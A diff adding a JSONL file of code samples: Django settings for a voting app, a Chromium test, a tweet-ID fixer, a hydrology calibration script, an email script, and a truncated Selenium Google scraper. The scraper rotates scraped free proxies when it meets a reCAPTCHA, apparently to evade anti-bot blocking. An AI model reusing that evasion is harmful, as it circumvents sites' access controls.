diff --git "a/2634.jsonl" "b/2634.jsonl" new file mode 100644--- /dev/null +++ "b/2634.jsonl" @@ -0,0 +1,696 @@ +{"seq_id":"31929066","text":"# config/base.py (Settings Base, inherited by local.py)\n# Brought to you by We Vote. Be good.\n# -*- coding: UTF-8 -*-\n\nimport json\n# import logging\nimport os\nfrom django.core.exceptions import ImproperlyConfigured\n# Consider switching to the way that Two Scoops of Django 1.8 suggests file path handling, section 5.6\n# from unipath import Path\n\n\n# SECURITY WARNING: don't run with debug turned on in production!\n# Override in local.py for development\nDEBUG = False\n\n# Load JSON-based environment_variables if available\njson_environment_variables = {}\ntry:\n with open(\"config/environment_variables.json\") as f:\n json_environment_variables = json.loads(f.read())\nexcept Exception as e:\n pass\n # print \"base.py: environment_variables.json missing\"\n # Can't use logger in the settings file due to loading sequence\n\n\ndef get_environment_variable(var_name, json_environment_vars=json_environment_variables):\n \"\"\"\n Get the environment variable or return exception.\n From Two Scoops of Django 1.8, section 5.3.4\n \"\"\"\n try:\n return json_environment_vars[var_name] # Loaded from array above\n except KeyError:\n # variable wasn't found in the JSON environment variables file, so now look in the server environment variables\n pass\n # print \"base.py: failed to load {} from JSON file\".format(var_name) # Can't use logger in the settings file\n\n try:\n # Environment variables can be set with this for example: export GOOGLE_CIVIC_API_KEY=\n return os.environ[var_name]\n except KeyError:\n # Can't use logger in the settings file due to loading sequence\n error_msg = \"Unable to set the {} variable from os.environ or JSON file\".format(var_name)\n raise ImproperlyConfigured(error_msg)\n\n# Build paths inside the project like this: os.path.join(BASE_DIR, ...)\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\nPROJECT_PATH = os.path.abspath(os.path.join(os.path.dirname(__file__), \"..\"))\n# Consider switching to the way that Two Scoops of Django 1.8 suggests file path handling, section 5.6\n\n# SECURITY WARNING: keep the secret key used in production secret!\nSECRET_KEY = get_environment_variable(\"SECRET_KEY\")\n\n# Comment out when running Heroku\nALLOWED_HOSTS = [\n 'localhost',\n '127.0.0.1'\n]\n\n\n# Application definition\n\nINSTALLED_APPS = (\n\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n\n # third party\n 'bootstrap3',\n 'corsheaders', # cross origin requests\n 'social.apps.django_app.default',\n\n # project specific\n 'admin_tools',\n 'apis_v1',\n 'ballot',\n 'bookmark',\n 'candidate',\n 'config',\n 'donate',\n 'election',\n 'electoral_district',\n 'email_outbound',\n 'exception',\n 'follow',\n 'friend',\n 'geoip',\n 'image',\n 'import_export_batches',\n 'import_export_ctcl',\n 'import_export_facebook',\n 'import_export_google_civic',\n 'import_export_maplight',\n 'import_export_twitter', # See also twitter (below)\n 'import_export_vote_smart',\n 'import_export_wikipedia',\n 'import_export_endorsements',\n 'issue',\n 'measure',\n 'office',\n 'organization',\n 'party',\n 'politician',\n 'polling_location',\n 'position',\n 'position_like',\n 'quick_info',\n 'rest_framework',\n 'support_oppose_deciding',\n 'search',\n 'signals',\n 'tag',\n 'twitter', # See also import_export_twitter\n 'voter', # See also AUTH_USER_MODEL in config/settings.py\n 'voter_guide',\n 'wevote_functions',\n 'wevote_settings',\n 'wevote_social',\n\n)\n\nMIDDLEWARE_CLASSES = (\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'corsheaders.middleware.CorsMiddleware',\n 'corsheaders.middleware.CorsPostCsrfMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.auth.middleware.SessionAuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n 'django.middleware.security.SecurityMiddleware',\n 'wevote_social.middleware.SocialMiddleware',\n 'wevote_social.middleware.WeVoteSocialAuthExceptionMiddleware',\n)\n\nAUTHENTICATION_BACKENDS = (\n 'social.backends.facebook.FacebookOAuth2',\n 'social.backends.google.GoogleOAuth2',\n 'social.backends.twitter.TwitterOAuth',\n 'django.contrib.auth.backends.ModelBackend',\n)\n\nROOT_URLCONF = 'config.urls'\n\nTEMPLATES = [\n {\n 'BACKEND': 'django.template.backends.django.DjangoTemplates',\n 'DIRS': [os.path.join(BASE_DIR, 'templates')],\n 'APP_DIRS': True,\n 'OPTIONS': {\n 'context_processors': [\n 'django.template.context_processors.debug',\n 'django.template.context_processors.request',\n 'django.contrib.auth.context_processors.auth',\n 'django.contrib.messages.context_processors.messages',\n 'django.template.context_processors.media', # Django Cookbook\n 'django.template.context_processors.static', # Django Cookbook\n 'social.apps.django_app.context_processors.backends',\n 'social.apps.django_app.context_processors.login_redirect',\n 'wevote_social.context_processors.profile_photo',\n ],\n },\n },\n]\n\nWSGI_APPLICATION = 'config.wsgi.application'\n\n# Internationalization\n# https://docs.djangoproject.com/en/1.8/topics/i18n/\n\nLANGUAGE_CODE = 'en-us'\n\nTIME_ZONE = 'UTC'\n\nUSE_I18N = True\n\nUSE_L10N = True\n\nUSE_TZ = True\n\n# Described here: https://docs.djangoproject.com/en/1.8/topics/auth/customizing/#a-full-example\nAUTH_USER_MODEL = 'voter.Voter'\n\n# Static files (CSS, JavaScript, Images)\n# https://docs.djangoproject.com/en/1.8/howto/static-files/\nSTATIC_URL = '/static/'\nSTATIC_ROOT = os.path.join(PROJECT_PATH, \"static\", \"static\") # Django Cookbook\nMEDIA_URL = '/media/' # Django Cookbook\nMEDIA_ROOT = os.path.join(PROJECT_PATH, \"static\", \"media\") # Django Cookbook\n\n# We want to default to cookie storage of messages so we don't overload our app servers with session data\nMESSAGE_STORAGE = 'django.contrib.messages.storage.cookie.CookieStorage'\n\n# Default settings described here: http://django-bootstrap3.readthedocs.org/en/latest/settings.html\nBOOTSTRAP3 = {\n\n # The URL to the jQuery JavaScript file\n 'jquery_url': '//code.jquery.com/jquery.min.js',\n\n # The Bootstrap base URL\n 'base_url': '//maxcdn.bootstrapcdn.com/bootstrap/3.3.4/',\n\n # The complete URL to the Bootstrap CSS file (None means derive it from base_url)\n 'css_url': None,\n\n # The complete URL to the Bootstrap CSS file (None means no theme)\n 'theme_url': None,\n\n # The complete URL to the Bootstrap JavaScript file (None means derive it from base_url)\n 'javascript_url': None,\n\n # Put JavaScript in the HEAD section of the HTML document (only relevant if you use bootstrap3.html)\n 'javascript_in_head': False,\n\n # Include jQuery with Bootstrap JavaScript (affects django-bootstrap3 template tags)\n 'include_jquery': False,\n\n # Label class to use in horizontal forms\n 'horizontal_label_class': 'col-md-3',\n\n # Field class to use in horizontal forms\n 'horizontal_field_class': 'col-md-9',\n\n # Set HTML required attribute on required fields\n 'set_required': True,\n\n # Set HTML disabled attribute on disabled fields\n 'set_disabled': False,\n\n # Set placeholder attributes to label if no placeholder is provided\n 'set_placeholder': True,\n\n # Class to indicate required (better to set this in your Django form)\n 'required_css_class': '',\n\n # Class to indicate error (better to set this in your Django form)\n 'error_css_class': 'has-error',\n\n # Class to indicate success, meaning the field has valid input (better to set this in your Django form)\n 'success_css_class': 'has-success',\n\n # Renderers (only set these if you have studied the source and understand the inner workings)\n 'formset_renderers': {\n 'default': 'bootstrap3.renderers.FormsetRenderer',\n },\n 'form_renderers': {\n 'default': 'bootstrap3.renderers.FormRenderer',\n },\n 'field_renderers': {\n 'default': 'bootstrap3.renderers.FieldRenderer',\n 'inline': 'bootstrap3.renderers.InlineFieldRenderer',\n },\n}\n\nCORS_ORIGIN_ALLOW_ALL = True # CORS_ORIGIN_ALLOW_ALL: if True, the whitelist will not be used & all origins accepted\nCORS_ALLOW_CREDENTIALS = True\n# specify whether to replace the HTTP_REFERER header if CORS checks pass so that CSRF django middleware checks\n# will work with https\nCORS_REPLACE_HTTPS_REFERER = True\n\n# CORS_ORIGIN_WHITELIST = (\n# 'google.com',\n# 'hostname.example.com'\n# )\n\nSOCIAL_AUTH_FACEBOOK_KEY = get_environment_variable(\"SOCIAL_AUTH_FACEBOOK_KEY\")\nSOCIAL_AUTH_FACEBOOK_SECRET = get_environment_variable(\"SOCIAL_AUTH_FACEBOOK_SECRET\")\nSOCIAL_AUTH_FACEBOOK_SCOPE = ['email', 'user_friends']\nSOCIAL_AUTH_TWITTER_KEY = get_environment_variable(\"SOCIAL_AUTH_TWITTER_KEY\")\nSOCIAL_AUTH_TWITTER_SECRET = get_environment_variable(\"SOCIAL_AUTH_TWITTER_SECRET\")\n\nSOCIAL_AUTH_LOGIN_ERROR_URL = get_environment_variable(\"SOCIAL_AUTH_LOGIN_ERROR_URL\")\nSOCIAL_AUTH_LOGIN_REDIRECT_URL = get_environment_variable(\"SOCIAL_AUTH_LOGIN_REDIRECT_URL\")\nSOCIAL_AUTH_LOGIN_URL = get_environment_variable(\"SOCIAL_AUTH_LOGIN_URL\")\n\nLOGIN_REDIRECT_URL = get_environment_variable(\"LOGIN_REDIRECT_URL\")\nLOGIN_ERROR_URL = get_environment_variable(\"LOGIN_ERROR_URL\")\nLOGIN_URL = get_environment_variable(\"LOGIN_URL\")\n\n# See description of authentication pipeline:\n# https://github.com/omab/python-social-auth/blob/master/docs/pipeline.rst\nSOCIAL_AUTH_PIPELINE = (\n 'social.pipeline.social_auth.social_details',\n 'social.pipeline.social_auth.social_uid',\n 'social.pipeline.social_auth.auth_allowed',\n # 'social.pipeline.social_auth.social_user',\n 'wevote_social.utils.social_user', # Order in this pipeline matters\n 'wevote_social.utils.authenticate_associate_by_email', # Order in this pipeline matters\n 'social.pipeline.user.get_username',\n 'social.pipeline.social_auth.associate_by_email',\n 'social.pipeline.user.create_user',\n 'social.pipeline.social_auth.associate_user',\n 'social.pipeline.social_auth.load_extra_data',\n 'social.pipeline.user.user_details',\n 'wevote_social.utils.switch_user' # Order in this pipeline matters\n)\n\nEMAIL_BACKEND = get_environment_variable(\"EMAIL_BACKEND\")\nSENDGRID_API_KEY = get_environment_variable(\"SENDGRID_API_KEY\")\n\n\n# ########## Logging configurations ###########\n# LOG_STREAM Boolean True will turn on stream handler and write to command line.\n# LOG_FILE String Path to file to write to. Make sure executing\n# user has permissions.\n# LOG_STREAM_LEVEL Integer Log level of stream handler: CRITICAL, ERROR, INFO, WARN, DEBUG\n# LOG_FILE_LEVEL Integer Log level of file handler: CRITICAL, ERROR, INFO, WARN, DEBUG\n# NOTE: These should be set in the environment_variables.json file\ndef convert_logging_level(log_level_text_descriptor):\n import logging\n # Assume error checking has been done and that the string is a valid logging level\n if log_level_text_descriptor == \"CRITICAL\":\n return logging.CRITICAL\n if log_level_text_descriptor == \"ERROR\":\n return logging.ERROR\n if log_level_text_descriptor == \"INFO\":\n return logging.INFO\n if log_level_text_descriptor == \"WARN\":\n return logging.WARN\n if log_level_text_descriptor == \"DEBUG\":\n return logging.DEBUG\n\n\ndef lookup_logging_level(log_level_text_descriptor, log_level_default=\"ERROR\"):\n import logging\n available_logging_levels = [\"CRITICAL\", \"ERROR\", \"INFO\", \"WARN\", \"DEBUG\"]\n\n if log_level_text_descriptor.upper() in available_logging_levels:\n # print \"log_level_text_descriptor: {}\".format(log_level_text_descriptor)\n return convert_logging_level(log_level_text_descriptor)\n else:\n # The log_level_text_descriptor is not a valid level, so use the debug level\n if log_level_default.upper() in available_logging_levels:\n # print \"log_level_default: {}\".format(log_level_default)\n return convert_logging_level(log_level_default)\n else:\n # print \"log_level failure default: {}\".format(\"ERROR\")\n return logging.ERROR\n\n\n# Which level of logging event should get written to the command line?\nLOG_STREAM = get_environment_variable('LOG_STREAM') # Turn command line logging on or off\n# print \"Current LOG_STREAM_LEVEL setting:\"\nLOG_STREAM_LEVEL = lookup_logging_level(get_environment_variable(\"LOG_STREAM_LEVEL\"), \"DEBUG\")\n# Which level of logging event should get written to the log file?\nLOG_FILE = get_environment_variable('LOG_FILE') # Location of the log file\nLOG_FILE_LEVEL = lookup_logging_level(get_environment_variable(\"LOG_FILE_LEVEL\"), \"ERROR\")\n# print \"Current LOG_FILE_LEVEL setting:\"\n\n# Using conventions from django.contrib:\n# https://docs.djangoproject.com/en/1.8/ref/contrib/gis/geoip/#geoip-settings\nGEOIP_PATH = os.path.join(BASE_DIR, 'geoip', 'import_data')\nGEOIP_COUNTRY = 'GeoIP.dat'\nif os.path.exists(os.path.join(GEOIP_PATH, 'GeoIPCity.dat')):\n GEOIP_CITY = 'GeoIPCity.dat' # use the paid db\nelse:\n GEOIP_CITY = 'GeoLiteCity.dat' # use the free db\n","sub_path":"config/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":13570,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"614654101","text":"\n\nfrom xai.brain.wordbase.nouns._rhetorician import _RHETORICIAN\n\n#calss header\nclass _RHETORICIANS(_RHETORICIAN, ):\n\tdef __init__(self,): \n\t\t_RHETORICIAN.__init__(self)\n\t\tself.name = \"RHETORICIANS\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"rhetorician\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_rhetoricians.py","file_name":"_rhetoricians.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"311371006","text":"#!/usr/bin/env python\n# Copyright (c) 2012 The Chromium Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\nimport json\nimport os\nimport sys\nimport unittest\n\nfrom api_data_source import APIDataSource\nfrom in_memory_object_store import InMemoryObjectStore\nfrom file_system import FileNotFoundError\nfrom compiled_file_system import CompiledFileSystem\nfrom local_file_system import LocalFileSystem\n\nclass FakeSamplesDataSource:\n def Create(self, request):\n return {}\n\nclass APIDataSourceTest(unittest.TestCase):\n def setUp(self):\n self._base_path = os.path.join(sys.path[0], 'test_data', 'test_json')\n\n def _ReadLocalFile(self, filename):\n with open(os.path.join(self._base_path, filename), 'r') as f:\n return f.read()\n\n def DISABLED_testSimple(self):\n cache_factory = CompiledFileSystem.Factory(\n LocalFileSystem(self._base_path),\n InMemoryObjectStore('fake_branch'))\n data_source_factory = APIDataSource.Factory(cache_factory,\n '.',\n FakeSamplesDataSource())\n data_source = data_source_factory.Create({})\n\n # Take the dict out of the list.\n expected = json.loads(self._ReadLocalFile('expected_test_file.json'))\n expected['permissions'] = None\n test1 = data_source['test_file']\n test1.pop('samples')\n self.assertEqual(expected, test1)\n test2 = data_source['testFile']\n test2.pop('samples')\n self.assertEqual(expected, test2)\n test3 = data_source['testFile.html']\n test3.pop('samples')\n self.assertEqual(expected, test3)\n self.assertRaises(FileNotFoundError, data_source.get, 'junk')\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"chrome/common/extensions/docs/server2/api_data_source_test.py","file_name":"api_data_source_test.py","file_ext":"py","file_size_in_byte":1782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"495808578","text":"\"\"\"\nProduces new output files with correct tweet IDs, using the original CSVs as reference.\nThis accounts for some truncating issues caused by reading Excel files.\n\nWARNING: The file provided for the command line arg \"consolidated_ratings\" will be overwritten. Please ensure it is backed up first! Note that the overwrite simply ensures that the tweet IDs are correct and match those from the original files.\n\"\"\"\nimport os, sys, json\nimport csv\nimport argparse\nfrom collections import defaultdict\n\n\nparser = argparse.ArgumentParser(description=\"Produces new output files with IDs guaranteed to be correct.\")\nparser.add_argument(\"consolidated_ratings\", help=\"Path to the input csv where the consolidated ratings can be found. WARNING: this file will be overwritten by this script, please make sure it is backed up first!\", type=str)\nparser.add_argument(\"data\", help=\"Path to the data folder containing original CSVs\", type=str)\nparser.add_argument(\"dest\", help=\"Path to the csv file where the output should be stored\", type=str)\n\nif __name__ == \"__main__\":\n args = parser.parse_args()\n\n print(\"Reading original data...\")\n og_data = defaultdict(list)\n for fname in os.listdir(args.data):\n with open(os.path.join(args.data, fname), \"r\") as f:\n reader = csv.reader(f)\n reader.__next__() # skip headers\n for row in reader:\n og_data[fname.split(\".\")[0]].append(row)\n\n print(\"Finding correct tweet IDs and original text...\")\n cr_rows = []\n with open(args.consolidated_ratings, \"r\") as f:\n reader = csv.reader(f)\n cr_header = reader.__next__() # skip headers\n for row in reader:\n ID = row[0]\n text = row[1]\n fname = row[-1]\n\n NUM_DIGITS = 4\n found_row = None\n for og_row in og_data[fname]:\n oid, otext = og_row\n if otext == text and ID[0:-NUM_DIGITS] == oid[0:-NUM_DIGITS]:\n if found_row:\n print(ID, oid)\n print(ID[0:-1], oid[0:-1])\n print(ID[0:-1] == oid[0:-1])\n print(text)\n raise Exception(\"Duplicate!\")\n found_row = og_row\n elif ID[0:-NUM_DIGITS] == oid[0:-NUM_DIGITS]:\n # ID matched, but text didn't (these are cases where a single\n # punctuation mark was mistakenly removed)\n found_row = og_row\n\n if not found_row:\n print(ID)\n print(text)\n print(fname)\n raise Exception(\"Did not find match for tweet!\")\n\n new_row = [found_row[0], found_row[1], *row[2:]]\n cr_rows.append(new_row)\n\n print(\"Found\", len(cr_rows), \"total tweets.\")\n print(f\"Overwriting {args.consolidated_ratings} with new data...\")\n with open(args.consolidated_ratings, \"w\") as f:\n writer = csv.writer(f)\n writer.writerow(cr_header)\n for row in cr_rows:\n writer.writerow(row)\n\n print(f\"Writing ID-only output to {args.dest}...\")\n with open(args.dest, \"w\") as f:\n writer = csv.writer(f)\n writer.writerow([cr_header[0], *cr_header[2:]])\n for row in cr_rows:\n writer.writerow([row[0], *row[2:]])\n\n print(\"Done!\")\n","sub_path":"mask_classifier_dataset/check_tweet_ids.py","file_name":"check_tweet_ids.py","file_ext":"py","file_size_in_byte":3364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"337328345","text":"import pandas as pd\nfrom spotpy.analyser import *\nfrom spotpy.algorithms import sceua\nimport sispshi_sacsma2021 as sacsma2021\nimport sispshi_gr5i as gr5i\nfrom plotly.subplots import make_subplots\nimport plotly.graph_objects as go\nimport matplotlib.pyplot as plt\nimport HydroErr as he\n\nn_bacia = 5\nnome = 'Santa_Cruz_Timbo'\n\n_# FORCANTES\narea = float(pd.read_csv(f'sispshi_{n_bacia:02d}_{nome}_peq.csv', nrows=0).columns[0])\n#area = float(pd.read_csv(f'../Dados/PEQ/{n_bacia:02d}_{nome}_peq.csv', nrows=0).columns[0])\ndt = 0.25\nPEQ = pd.read_csv(f'sispshi_{n_bacia:02d}_{nome}_peq.csv', skiprows=1, index_col='datahora', parse_dates=True)\n#PEQ = pd.read_csv(f'../Dados/PEQ/{n_bacia:02d}_{nome}_peq.csv', skiprows=1, index_col='datahora', parse_dates=True)\nidx = PEQ.index\nPME = PEQ['pme']\nETP = PEQ['etp']\nQjus = PEQ['qjus']\nQmon = PEQ['qmon']\n\n#periodo de validação\nt1_cal = pd.Timestamp('2018', tz='UTC')\nidx_cal = idx[idx >= t1_cal]\n\n# CALIBRACAO 01 - LOG - Lower Zone\nspot_setup_1 = sacsma2021.spotpy_1(area, dt, PME, ETP, Qjus, idx, idx_cal, Qmon=Qmon, fobj='LOG')\nsampler_1 = sceua(spot_setup_1)\n# sampler.sample(100)\nsampler_1.sample(8000, ngs=15, kstop=1, peps=0.1, pcento=5)\nresults_1 = sampler_1.getdata()\nparams_1 = get_best_parameterset(results_1, maximize=False)\nparams_nomes_1 = list(params_1.dtype.names)\nparams_valores_1 = list(params_1[0])\nDF_params_1 = pd.DataFrame(data=params_valores_1, index=params_nomes_1, columns=['valor'])\nDF_params_1.to_csv('sispshi_params1.csv')\nbestindex_1, bestobjf_1 = get_minlikeindex(results_1)\nsimulation_fields_1 = get_simulation_fields(results_1)\nQsim_1 = list(results_1[simulation_fields_1][bestindex_1])\nQsim_1\n\n# CALIBRACAO 02 - DRMS - Upper Zone\nspot_setup_2 = sacsma2021.spotpy_2(area, dt, PME, ETP, Qjus, idx, idx_cal, Qmon=Qmon, fobj='DRMS')\nsampler_2 = sceua(spot_setup_2)\nsampler_2.sample(8000, ngs=15, kstop=1, peps=0.1, pcento=5)\nresults_2 = sampler_2.getdata()\nparams_2 = get_best_parameterset(results_2, maximize=False)\nparams_nomes_2 = list(params_2.dtype.names)\nparams_valores_2 = list(params_2[0])\nDF_params_2 = pd.DataFrame(data=params_valores_2, index=params_nomes_2, columns=['valor'])\nDF_params_2.to_csv('sispshi_params2.csv')\nbestindex_2, bestobjf_2 = get_minlikeindex(results_2)\nsimulation_fields_2 = get_simulation_fields(results_2)\nQsim_2 = list(results_2[simulation_fields_2][bestindex_2])\n\n# CALIBRACAO 03 - LOG - Refina Lower Zone\nspot_setup_3 = sacsma2021.spotpy_3(area, dt, PME, ETP, Qjus, idx, idx_cal, Qmon=Qmon, fobj='LOG')\nsampler_3 = sceua(spot_setup_3)\nsampler_3.sample(8000, ngs=15, kstop=1, peps=0.1, pcento=5)\nresults_3 = sampler_3.getdata()\nparams_3 = get_best_parameterset(results_3, maximize=False)\nparams_nomes_3 = list(params_3.dtype.names)\nparams_valores_3 = list(params_3[0])\nDF_params_3 = pd.DataFrame(data=params_valores_3, index=params_nomes_3, columns=['valor'])\nDF_params_3.to_csv('sispshi_params3.csv')\nbestindex_3, bestobjf_3 = get_minlikeindex(results_3)\nsimulation_fields_3 = get_simulation_fields(results_3)\nQsim_3 = list(results_3[simulation_fields_3][bestindex_3])\n\n# CALIBRACAO 04 - NASH\nspot_setup_4 = sacsma2021.spotpy_4(area, dt, PME, ETP, Qjus, idx, idx_cal, Qmon=Qmon, fobj='NSE')\nsampler_4 = sceua(spot_setup_4)\nsampler_4.sample(8000, ngs=15, kstop=1, peps=0.1, pcento=5)\nresults_4 = sampler_4.getdata()\nparams_4 = get_best_parameterset(results_4, maximize=False)\nparams_nomes_4 = list(params_4.dtype.names)\nparams_valores_4 = list(params_4[0])\nDF_params_4 = pd.DataFrame(data=params_valores_4, index=params_nomes_4, columns=['valor'])\nDF_params_4.to_csv('sispshi_params4.csv')\nbestindex_4, bestobjf_4 = get_minlikeindex(results_4)\nsimulation_fields_4 = get_simulation_fields(results_4)\nQsim_4 = list(results_4[simulation_fields_4][bestindex_4])\n\n# CALIBRACAO GR5i\ndt = 6\nspot_setup_gr = gr5i.spotpy(area, dt, PME, ETP, Qjus, idx, idx_cal, Qmon=Qmon, fobj='NSE')\nsampler_gr = sceua(spot_setup_gr)\nsampler_gr.sample(8000, ngs=15, kstop=1, peps=0.1, pcento=5)\nresults_gr = sampler_gr.getdata()\nparams_gr = get_best_parameterset(results_gr, maximize=False)\nparams_nomes_gr = list(params_gr.dtype.names)\nparams_valores_gr = list(params_gr[0])\nDF_params_gr = pd.DataFrame(data=params_valores_gr, index=params_nomes_gr, columns=['valor'])\nDF_params_gr.to_csv('sispshi_paramsgr.csv')\nbestindex_gr, bestobjf_gr = get_minlikeindex(results_gr)\nsimulation_fields_gr = get_simulation_fields(results_gr)\nQsim_gr = list(results_gr[simulation_fields_gr][bestindex_gr])\n\nfig = make_subplots(rows=3, cols=1, shared_xaxes=True, specs=[[{'rowspan': 1, 'colspan': 1}],[{'rowspan': 2, 'colspan': 1}],[{'rowspan': 0, 'colspan': 0}]])\nfig.add_trace(go.Scatter(x=idx, y=PME, name=\"PME (mm)\"), row=1, col=1)\nfig['layout']['yaxis']['autorange'] = \"reversed\"\n#fig.add_trace(go.Scatter(x=PEQ.index, y=ETP, name=\"ETP (mm)\"), row=1, col=1)\nfig.add_trace(go.Scatter(x=idx, y=Qjus, name=\"Qobs (m3/s)\", marker_color='black'), row=2, col=1)\n#fig['data'][2]['line']['color']=\"black\"\nfig.add_trace(go.Scatter(x=idx, y=Qsim_1, name='Qsim - 1', marker_color='green'), row=2, col=1)\nfig.add_trace(go.Scatter(x=idx, y=Qsim_2, name='Qsim - 2', marker_color='red'), row=2, col=1)\nfig.add_trace(go.Scatter(x=idx, y=Qsim_3, name='Qsim - 3', marker_color='purple'), row=2, col=1)\nfig.add_trace(go.Scatter(x=idx, y=Qsim_4, name='Qsim - 4 (NSE)', marker_color='orange'), row=2, col=1)\nfig.add_trace(go.Scatter(x=idx, y=Qsim_gr, name='Qsim - GR5i (NSE)', marker_color='blue'), row=2, col=1)\nfig.update_yaxes(title_text='Chuva [mm]', row=1, col=1)\nfig.update_yaxes(title_text='Vazão [m3s-1]', row=2, col=1)\nfig.update_layout(legend_title_text='Comparação Modelo Sacramento')\nfig.update_layout(autosize=False,width=800,height=450,margin=dict(l=30,r=30,b=10,t=10))\nfig.show()\n\n#AVALIAÇÃO\nsimul = pd.DataFrame(data=[Qsim_1, Qsim_3, Qsim_4, Qsim_gr]).T\nsimul.index = idx\nsimul.columns = ['Qsim_1', 'Qsim_3', 'Qsim_4', 'Qsim_gr']\n\n##CORTE DE TEMPO PARA NASH E PLOTAGEM##\ndf = pd.merge(PEQ['qjus'], simul, how = 'outer',\n left_index = True, right_index = True)\ndf = pd.merge(df, PEQ['pme'], how = 'outer',\n left_index = True, right_index = True)\ndf2 = df.loc['2019':'2020']\n#print('Período: 01/2014 - 06/2014')\ndf2\n\nnash_log = he.nse(df2['qjus'],df2['Qsim_1'])\nprint('Nash Sac LOG = ' + str(nash_log))\n\nnash_macs = he.nse(df2['qjus'],df2['Qsim_3'])\nprint('Nash Sac MACS = ' + str(nash_macs))\n\nnash_nse = he.nse(df2['qjus'],df2['Qsim_4'])\nprint('Nash Sac NSE = ' + str(nash_nse))\n\nnash_gr_nse = he.nse(df2['qjus'],df2['Qsim_gr'])\nprint('Nash GR5i NSE = ' + str(nash_gr_nse))\n","sub_path":"artigo_sispshi/sispshi_calibrador.py","file_name":"sispshi_calibrador.py","file_ext":"py","file_size_in_byte":6570,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"132857818","text":"import smtplib\nfrom email.MIMEMultipart import MIMEMultipart\nfrom email.MIMEBase import MIMEBase\nfrom email.MIMEText import MIMEText\nfrom email.Utils import COMMASPACE, formatdate\nfrom email import Encoders\nimport os\nimport datetime\n\n\n \ndef sendMail(to, fro, subject, text, files=[],server=\"localhost\"):\n assert type(to)==list\n assert type(files)==list\n \n \n msg = MIMEMultipart()\n msg['From'] = fro\n msg['To'] = COMMASPACE.join(to)\n msg['Date'] = formatdate(localtime=True)\n msg['Subject'] = subject\n \n msg.attach( MIMEText(text) )\n \n for file in files:\n part = MIMEBase('application', \"octet-stream\")\n part.set_payload( open(file,\"rb\").read() )\n Encoders.encode_base64(part)\n part.add_header('Content-Disposition', 'attachment; filename=\"%s\"'\n % os.path.basename(file))\n msg.attach(part)\n \n smtp = smtplib.SMTP(server)\n smtp.sendmail(fro, to, msg.as_string() )\n smtp.close()\n \n# Example:\n#sendMail(['maSnun '],'phpGeek ','Hello Python!','Heya buddy! Sy hello to Python! :)',['masnun.py','masnun.php'])\nsendMail(['brian '],'btrakdb ','Daily Trial Report - {}!'.format(datetime.datetime.now().date()),\n 'Daily report Biotrak Health v1.1 Database',\n ['Trial_model_report.csv',\n 'Trial_report.csv',\n 'Trial_sessions_report.csv',\n 'btrak_trial_classify.docx'])\n\n","sub_path":"src/mail2.py","file_name":"mail2.py","file_ext":"py","file_size_in_byte":1524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"80692892","text":"from selenium import webdriver\r\nfrom selenium.common.exceptions import NoSuchElementException\r\nfrom selenium.webdriver.support.ui import WebDriverWait\r\nfrom selenium.webdriver.support import expected_conditions as EC\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium.common.exceptions import ElementNotVisibleException\r\nfrom selenium.common.exceptions import TimeoutException, WebDriverException\r\nimport time\r\nfrom threading import Thread\r\nimport sys\r\nimport random\r\n\r\n#profile = webdriver.FirefoxProfile()\r\n#driver = webdriver.Firefox(firefox_profile=profile)\r\n\r\n\r\ndicoProxy = {}\r\ndef recupDico():\r\n i=0\r\n profile = webdriver.FirefoxProfile()\r\n driver = webdriver.Firefox(firefox_profile=profile) \r\n driver.get(\"https://www.sslproxies.org/\")\r\n tbody = driver.find_element_by_tag_name(\"tbody\")\r\n cell = tbody.find_elements_by_tag_name(\"tr\")\r\n for column in cell:\r\n column = column.text.split(\" \")\r\n host = column[0]\r\n port = column[1]\r\n dicoProxy[i] = host+\":\"+port\r\n i+=1\r\n driver.quit()\r\n\r\n\r\n\r\n\r\n \r\ndef proxyChange(valeur):\r\n print(\"Appel de la fonction\")\r\n monroxy = dicoProxy[valeur].split(':')\r\n return monroxy\r\n\r\n\r\n \r\ni=0\r\nrecupDico()\r\nprofile = webdriver.FirefoxProfile()\r\ndriver = webdriver.Firefox(firefox_profile=profile)\r\nurl = \"http://www.google.com/search?q=chanel\"\r\n\r\nwhile True:\r\n\r\n \r\n driver.get(url)\r\n\r\n val = True\r\n\r\n while val:\r\n try:\r\n results = driver.find_elements_by_xpath('//*[@id=\"rso\"]')\r\n\r\n for result in results:\r\n print(result.text)\r\n \r\n nextbutton = driver.find_element_by_xpath('//*[@id=\"pnnext\"]') # si le bouton next n existe pas il va dans l'exception\r\n nextbutton.click()\r\n\r\n except :\r\n\r\n try:\r\n \r\n frame = driver.find_element_by_xpath('//iframe[contains(@src, \"recaptcha\")]')\r\n \r\n driver.switch_to.frame(frame)\r\n \r\n driver.find_element_by_xpath(\"//*[@id='recaptcha-anchor']\")\r\n driver.switch_to.default_content()\r\n time.sleep(10)\r\n driver.switch_to.default_content()\r\n try:\r\n print (\"t1\")\r\n \r\n \r\n ProxyHost = \"185.132.178.210\"\r\n ProxyPort = \"1080\"\r\n\r\n\r\n\r\n def ChangeProxy(ProxyHost , ProxyPort):\r\n\r\n pp = 